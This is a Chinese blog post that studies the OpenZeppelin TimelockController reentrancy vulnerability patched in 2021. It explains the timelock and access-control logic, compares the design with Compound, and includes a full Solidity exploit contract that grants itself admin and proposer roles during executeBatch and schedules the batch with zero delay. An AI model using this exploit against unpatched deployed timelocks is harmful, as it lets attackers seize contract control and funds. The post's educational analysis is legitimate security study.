最近在项目中要使用到Timelock
和权限管理部分,故查阅了下Openzepplin
的相关实现,意外发现Openzepplin
在前两天刚刚给Timelock
打补丁,原因是Timelock
合约在今年8月份前的版本实现中存在一个严重的漏洞,允许任何执行者升级其权限成为admin
,而执行恶意程序。
最近在项目中要使用到Timelock
和权限管理部分,故查阅了下Openzepplin
的相关实现,意外发现Openzepplin
在前两天刚刚给Timelock
打补丁,原因是Timelock
合约在今年8月份前的版本实现中存在一个严重的漏洞,允许任何执行者升级其权限成为admin
,而执行恶意程序。
出于学习的目的,这里先将Openzepplin
实现的Timelock
合约和相关的Access
合约进行简单的分析,然后再指出漏洞,给出漏洞的POC,最后再与compound
中实现的Timelock
合约进行对比。
本文的参考链接如下:
TimelockController Vulnerability Postmortem - General / Announcements - OpenZeppelin Community
这里分析的TimeLock
合约为Openzepplin
再给它打补丁之前的合约。
首先需要知道的是:什么是Time Lock合约,以及为什么需要Time Lock合约
简单来讲Time Lock合约是一个时间锁合约,由Openzepplin于去年11月引入到3.3版本中,它实现的功能是延时执行合约动作。一个典型的例子是将TimelockController
定位为dApp智能合约的管理员,因此,每当一个特权行动要被执行时,它必须等待Timelock指定的某个时间。
使用TimeLock合约可以带来如下两方面的好处:首先,它为项目团队提供了一个额外的安全层,对系统中预期的每一个特权行动给予提示。这使得团队能够检测和应对被破坏的管理账户的恶意调用。其次,它保护社区成员免受项目管理本身的影响,允许成员在不同意任何即将发生的变化时退出协议。
在Time Lock合约的核心,其设置了如下角色。提议者:用于将需要执行的方法以及对应的方法参数提交给Schedule方法,该方法会通过一个哈希运算得到将要执行的方法ID,然后将该ID及该方法预期执行的时间注册到提议表中。执行人:则提起该笔交易,同样通过execute方法计算处将要执行的方法ID,然后查询提议表中该方法ID是否存在,以及该方法ID对应的执行时间是否已经满足,如果都满足要求,则执行该笔交易。注意:存储在Timelock合约中的只有方法的ID和对应的执行时间,方法的参数及地址等均不存放在合约里。
//schedule方法只能是提议者调用
function schedule(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPSER_ROLE) {
//计算方法的ID, 思考:delay不应该计算进入方法ID。
bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));
//写入提议表之前需要验证什么?需要验证delay是不是有效?即delay超过最小delay时间没有。还需要验证该方法是不是已经写如果提议表了
require(delay >= _minDelay);
require(_timestamps[id] == 0);
//写入提议表
_timestamps[id] = delay.add(block.timestamp);
}
//execute方法只能是执行者调用
function execute(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
//计算方法的ID
bytes32 id = keccak256(abi.encodePacked(target,value,data,predecessor,salt));
//查提议表,得到方法ID对应的时间戳
uint256 timestamp = _timestamps[id];
//验证方法ID对应的时间戳有效即不为0,且小于当前时间=>证明可以开始执行该方法
require(timestamp >= 1 && timestamp <= uint256(block.timstamp));
//如果predecessor不为空,则说明执行该方法前,前任必须先要执行完毕。如何判断一个方法已经执行完毕呢?将其赋值为1
if (predecessor != bytes32(0)) {
require(_timestamps[predecessor] == 1);
}
//更新提议表中的提议时间为1,防止被重复执行
_timestamps[id] = 1;
//调用call来执行方法
(bool success,) = address(target).call{value:value}(data);
require(success);
}
在Openzepplin
的Timelock
实现中,它同时还实现了批量方法:
function scheduleBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
//批量执行前,需要对参数进行校验
require(targets.length == values.length && targets.length == datas.length);
//批量提交议案,事实上并不是For循环调用提交议案schedule函数,并不是同时插入多个议案到提议表中,而是插入一个批量执行的议案到提议表中
bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
_timestamps[id] = delay.add(block.timestamp);
}
function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt) public virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
//批量执行前,需要对参数进行校验
require(targets.length == values.length && targets.length == datas.length);
//计算批量执行议案的ID,确认该ID对应的时间戳满足要求,即> 1 and < now
bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
uint256 timestamp = _timestamps[id];
require(timestamp > 1 && timestamp <= block.timestamp);
//如果predecessor不为0,则判断predecessor的提案是否执行完成
if (predecessor != bytes32(0)) {
require(_timestamps[predecessor] == 1);
}
//更新该批量执行议案的ID对应的时间戳为1
_timestamps[id] = 1;
//For循环批量调用
for (uint i=0; i < targets.length; i++) {
address target = targets[i];
uint256 value = values[i];
bytes memory data = datas[i];
(bool success, ) = address(target).call{value:value}(data);
require(success);
}
}
Openzepllin
的权限管理合约是一个实现了ERC165的合约,它的整体思路是设置不同的角色,然后通过grantRole
和revokeRole
给不同的角色添加相应的用户。权限管理合约中,还存在一个全局的ADMIN角色,用于给不同角色添加或者删除用户。当需要给函数添加权限管理时,就在函数方法上添加对应的modifier
。
Access合约在合约里实际上维护了一个对象结构体,来保存每个address的权限信息:
map(bytes32 => RoleData) private _roles;
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
实际的映射关系为:
keccak256("TIMELOCK_ADMIN_ROLE") => address(Owner()) => true
keccak256("PROPOSER_ROLE") => address(proposer1) => true
keccak256("EXECUTOR_ROLE") => address(executor) => true
从上述的结构体可以看到,要设置一个角色时,需要分两步,第一步设置这个角色组的admin,第二步添加这个角色组的成员。
//第一步设置这个角色组的admin
function _setupRoleAdmin(bytes32 role,bytes32 adminRole) internal virtual {
//拿到之前的preAdmin
bytes32 prev_adminRole = _roles[role].adminRole;
//给对应的角色组设置adminRole
_roles[role].adminRole = adminRole;
}
//第二步:给角色组添加成员
function _grantRole(bytes32 role,address account) private {
//先进行判断:即该成员是否已经是该角色组的活跃成员
if(_roles[role].members[account] != true) {
_roles[role].members[account] = true;
}
}
//第三步:移除角色组中的成员
function _revoke(bytes32 role,address account) private {
//先判断该角色在该角色组中,且活跃
if (_roles[role].members[account] == true) {
_roles[role].members[account] = false;
}
}
//第四步:检查权限
function _checkRole(bytes32 role,address account) internal view {
//先判断该账户在角色组中
bool success = _roles[role].members[account];
require(success);
//换一种写法:使用revert将失败信息传递出去
if (!success) {
revert(string(abi.encodePacked("AccessControl: account",Strings.toHexString(uint160(account),20)," is missing rolw ",Strings.toHexString(uint256(role),32))));
}
}
在Openzepplin
打补丁之前的Timelock
合约中,存在者如下漏洞:
function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,uint256 salt) public payable virtual onlyRoleOrOpenROle(EXECUTOR_ROLE) {
//参数检查
require(targets.length == values.length && targets.length == datas.length);
//计算提案Id
bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
//没有马上验提案Id的有效性
//验证predecessor是否不为空,且是否执行完毕
require(predecessor == bytes32(0) || _timestamps[predecessor] == 1);
//for循环调用
for (uint256 i=0; i < targets.length; i++) {
_call(id,i,targets[i],values[i],datas[i]);
}
//验证提案有效性
require(_timestamps[id] > 1 && _timestamps[id] <= block.timestamp);
//更新提案
_timestamps[id] = 1;
}
分析该方法,首先明确External Call: _call(id,i,targets[i],values[i],datas[i]);
, 其次明确该External Call是否可以被hook?由于没有对地址targets[i]
进行检查,故该external call
可以被hook
。第三步:是否满足三种恶意模式。可以看到这里满足第二种恶意模式:data read after unsafe External Call.
思考如何利用Unsafe External Call
来影响到data read
, 即_timestamps[id]
.
可以看到,Timelock
合约中的schedule
方法可以写入值到_timestamps[id]
中
schedule onlyRole(PROPSER_ROLE):
_timestamps[id] = delay.add(block.timestamp);
但是schedule
只能由Proposer
来访问。且schedule
中没有External Call
。那这里我们是不是就没有思路了呢?注意到这里是For循环,for循环的含义是循环体内部的函数会连续执行。这里的循环体内部就只有call函数。故其执行的顺序为:
Executor->executeBatch->call(addr1)->call(addr2)->call(addr3)->check->update
我们现在想要它的执行顺序为:
Executor->executeBatch->call(addr1)->call(addr2)->Proposer.schedule->update(_timestamps)->check(_timestamps)->update
故为满足proposer来调用schedule方法,最简单的方式是通过admin给外部地址alice添加角色Proposer
Executor->executeBatch->this.grantRole(Proposer)->this.updateDelay(0)->Proposer.schedule->->update(_timestamps)->check(_timestamps)->update
在具体编写POC时,需要注意msg.sender分别是谁。
在step1中,调用方法为:address(timelockController).updateDelay(0)
由于这是在调用executeBatch
内部的for循环里调用的,故其msg.sender
就是timelock自身。
EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> for -> call -> timelock.updateDelay
这也是为什么可以绕过updateDelay中的检查:
function updateDelay(uint256 newDelay) external virtual {
requrie(msg.sender == address(this));
_minDelay = newDelay;
}
同理针对setp2, address(timelockController).grantRole()
也是一样
其次,在step3中,此时已经将Exploit赋予了admin权限,故在step3中,需要用Exploit合约作为msg.sender, 故调用方式为:
EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> call -> Exploit.attack -> call -> timelock.scheduleBatch
在具体的attack
函数中,在执行attack
函数后,在执行executeBatch
结束前,满足如下条件
_timestamps[id] > 1 && _timestamps[id] <= block.timestamp
故需要构造一个相同的ID才行,并让delay设置为0即可。
从上面的漏洞合约分析中,可以看到,关键点在于For循环体内的函数是会连续执行的,得到的函数执行顺序是
call_1->call_2->call_3->check->update
这里的3个call都是可以由我们自己自由控制的,unsafe External Call的核心其实是在函数执行的中间,控制函数执行的顺序。故给出的POC如下:
pragma solidity ^0.8.0;
import "./TimeLockController.sol";
import "./ITimeLockController.sol";
import "hardhat/console.sol";
contract Setup {
address[] public proposer;
address[] public executor;
TimelockController public timelock;
uint public minDelay;
constructor(address _proposer) {
proposer.push(_proposer);
//anybody can be an executor
executor.push(address(0));
minDelay = 86400;
timelock = new TimelockController(minDelay,proposer,executor);
}
}
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "./Setup.sol";
contract Exploit {
Setup public setup;
TimelockController public timelock;
uint public minDelay;
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
constructor(address _setup) public {
setup = Setup(_setup);
timelock = setup.timelock();
}
function hack() public {
//executebatch->timelock.updateDelay(0)->timelock.grantRole(PROPOSER_ROLE,address(Exploit))->address(this).schedule(delay=0)
//executeBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt)
address[] memory targets = new address[](3);
uint256[] memory values = new uint256[](3);
bytes[] memory datas = new bytes[](3);
bytes32 predecessor = bytes32(0);
bytes32 salt = bytes32(0);
uint256 delay = 0;
//step1: timelock.updateDelay(0)
targets[0] = address(timelock);
values[0] = 0;
datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));
//setp2: timelock.grantRole
targets[1] = address(timelock);
values[1] = 0;
datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));
//setp3: exploit.attack
targets[2] = address(this);
values[2] = 0;
datas[2] = abi.encodePacked(this.attack.selector);
timelock.executeBatch(targets,values,datas,predecessor,salt);
}
function attack() public payable {
//step1 : grant PROPOSER_ROLE to self
timelock.grantRole(PROPOSER_ROLE,address(this));
//grant ADMIN_ROLE to tx.origin so that we can use.
timelock.grantRole(TIMELOCK_ADMIN_ROLE,tx.origin);
//setp2 : submit a scheduleBatch => because we need to bypass the _timestamps[id], as well the id is executeBatch
//make delay=0
//scheduleBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay)
address[] memory targets = new address[](3);
uint256[] memory values = new uint256[](3);
bytes[] memory datas = new bytes[](3);
bytes32 predecessor = bytes32(0);
bytes32 salt = bytes32(0);
uint256 delay = 0;
//step1: timelock.updateDelay(0)
targets[0] = address(timelock);
values[0] = 0;
datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));
//setp2: timelock.grantRole
targets[1] = address(timelock);
values[1] = 0;
datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));
//setp3: exploit.attack
targets[2] = address(this);
values[2] = 0;
datas[2] = abi.encodePacked(this.attack.selector);
timelock.scheduleBatch(targets,values,datas,predecessor,salt,delay);
}
}
Timelock
对比compound中Timelock
设计思路与openzepplin
的Timelock
设计思路不完全一致。Compound
的想法比较简单,只有admin是提议者,也只有admin是执行者。与Openzepplin
中使用_timestamps[id]=block.timestamp+dylay
的方式不同,compound中仅使用queuedTransactions[id]=true/false
来判断该笔提议是否已经被提议者提交。当然,compound中判断一笔提议的到期时间也是自己的逻辑:
bytes32 txHash = keccak256(abi.encode(target,value,signature,data,eta));
而在openzepplin中:
bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));
在openzepplin
的方法id中并不包含该方法的到期时间,因为该方法的到期时间写入了_timestamps[id]
中,而compound的方法id中包含了该方法的到期时间。同时也说明compound
中将同一个方法在不同的到期时间执行视为不同的方法。这一点不如openzepplin
的设计合理。
compound中也没有批量执行的概念和先序执行的概念,即缺少了scheduleBatch, executeBatch以及predecessor参数,对于一笔需要前一笔交易必须执行完成后才能执行的提案,openzepplin有更好的保护机制。但同时compound也将权限限制为admin才能提交,执行提案,这一点也降低了这一风险,但增加了中心化程度。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!